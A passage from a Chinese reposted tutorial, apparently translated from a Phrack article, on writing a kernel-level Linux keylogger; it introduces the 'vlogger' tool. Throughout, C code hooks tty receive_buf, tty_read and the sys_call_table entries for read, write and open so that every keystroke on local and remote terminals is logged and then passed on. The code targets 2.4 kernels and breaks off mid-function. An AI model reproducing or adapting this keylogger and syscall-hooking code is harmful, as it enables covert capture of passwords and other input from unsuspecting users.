书写基于内核的linux键盘纪录器(p9-0e)(3)
2008-04-09 04:00:06来源:互联网 阅读 ()
底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。
# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)
参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。
让我们深入的看一看tty结构
# /usr/include/linux/tty.h
struct tty_struct {
int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}
# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};
要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置ldisc.receive_buf到
我们的new_receive_buf()函数来记录用户的输入。
举个例子:我们要记录在tty0设备上的输入。
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf; //保存原始的receive_buf()函数
tty->ldisc.receive_buf = new_receive_buf; //替换成新的new_receive_buf函数
//新的new_receive_buf函数
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
logging(tty, cp, count); //纪录用户击键
/* 调用回原来的receive_buf */
(*old_receive_buf)(tty, cp, fp, count);
}
/*e4gle add
其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用
内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者
效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。
*/
------[ 3.2.4 - tty_read函数
当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。
# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,
write: tty_write,
poll: tty_poll,
ioctl: tty_ioctl,
open: tty_open,
release: tty_release,
fasync: tty_fasync,
};
还是举上面的纪录来自tty0的输入信息的例子:
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read; //保存原来的tty_read
file->f_op->read = new_tty_read; //替换新的tty_read函数
/*e4gle add
劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一下:
static ssize_t new_tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
{
struct tty_struct *tty = file->private_data;
logging(tty, buf, count); //纪录用户击键
/* 调用回原来的tty_read */
(*old_tty_read)(file, buf, count, ppos);
}
*/
------[ 3.2.5 - sys_read/sys_write函数
截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译
的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linux kernel hacking”
若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到,
如果大家不明白请参考以上文献。
我提供以下code来实现劫持sys_read和sys_write系统调用:
extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;
当然除了替换sys_call_table表之外还有很多方法,在phrack59中的高级kernel hacking一文
中详细针对现有的几种劫持系统调用的方法有演示代码,这里不多做介绍了。
--[ 4 - vlogger
这节介绍一下一个内核键盘纪录器vlogger,是本文的原作者的大作,它是通过3.2.3节中
介绍的方法来实现纪录用户击键的,也利用了劫持sys_read/sys_write系统调用来做补充。
vlogger在如下内核中测试通过:2.4.5,2.4.7,2.4.17,2.4.18。
----[ 4.1 - 步骤
要记录下本地(纪录终端的信息)和远程会话的键盘击键 ,我选择劫持receive_buf函数的
方法(见3.2.3节)。
在内核中,tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而,我们
同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的
receive_buf()函数。
// 劫持sys_open调用
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
//调用original_sys_open
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
相关文章